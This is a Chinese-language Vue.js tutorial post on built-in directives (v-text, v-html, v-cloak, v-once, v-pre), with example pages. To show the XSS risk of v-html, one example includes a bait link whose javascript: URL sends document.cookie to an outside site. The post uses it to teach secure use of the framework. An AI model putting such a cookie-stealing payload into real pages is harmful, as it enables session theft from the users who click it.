第一章 Vue核心 第十五节 内置指令

15.1  内置指令

    学过的指令：
       v-bind          单向绑定解析表达式，可简写为 :xxx
       v-model         双向数据绑定
       v-for           遍历数组/对象/字符串
       v-on            绑定事件监听，可简写为 @
       v-if            条件渲染（动态控制节点是否存在）
       v-else          条件渲染（动态控制节点是否存在，必须与v-if搭配使用）
       v-show          条件渲染（动态控制节点是否展示）
       v-text          向其所在的节点中渲染文本内容（v-text会替换掉节点中的内容）
       v-html          向其所在的节点中渲染文本内容，可以识别html结构
                       安全性问题：在网站上动态渲染任意html是非常危险的，容易导致XSS攻击

    代码示例：

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>内置指令</title>
        <script src="../lib/vue.js"></script>
        <link rel="stylesheet" href="../../鼠标指针样式.css"/>
    </head>
    <body>
        <div id="root">
            <div>你好，{{name}}</div>
            <div v-text="name">你好，</div>
            <div v-text="str"></div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
        <script type="text/javascript">
            Vue.config.productionTip = false;

            new Vue({
                el:'#root',
                data:{
                    name:'retrace',
                    str:'<h3>hello!</h3>',
                    str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'
                }
            });
        </script>
    </body>
    </html>

 

15.2  v-cloak、v-once、v-pre指令

    v-cloak指令（没有值）
        1.本质是一个特殊属性，Vue实例创建完并接管容器后，会删掉v-cloak属性。
        2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

    v-once指令
        1.v-once所在的节点在初次动态渲染后，就视为静态内容了
        2.以后数据的改变不会引起v-once所在结构的更新，可用于优化性能

    v-pre指令
        1.跳过其所在节点的编译过程
        2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

    示例代码：

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>v-cloak、v-once、v-pre指令</title>
        <script src="../lib/vue.js"></script>
        <link rel="stylesheet" href="../../鼠标指针样式.css"/>
        <style>
            [v-cloak]{
                display: none;
            }
        </style>
    </head>
    <body>
        <div id="root">
            <h1 v-cloak>{{name}}</h1>

            <h1 v-once>初始值是：{{number}}</h1>
            <h1 v-cloak>number的值：{{number}}</h1>
            <button @click="number++">number+1</button>

            <h1 v-pre>Vue其实很简单</h1>
        </div>
        <script type="text/javascript">
            Vue.config.productionTip = false;

            new Vue({
                el:'#root',
                data:{
                    name:'retrace',
                    number:1
                }
            });
        </script>
    </body>
    </html>
posted @ 2021-10-14 19:44  何以之  阅读(59)  评论(0)    收藏  举报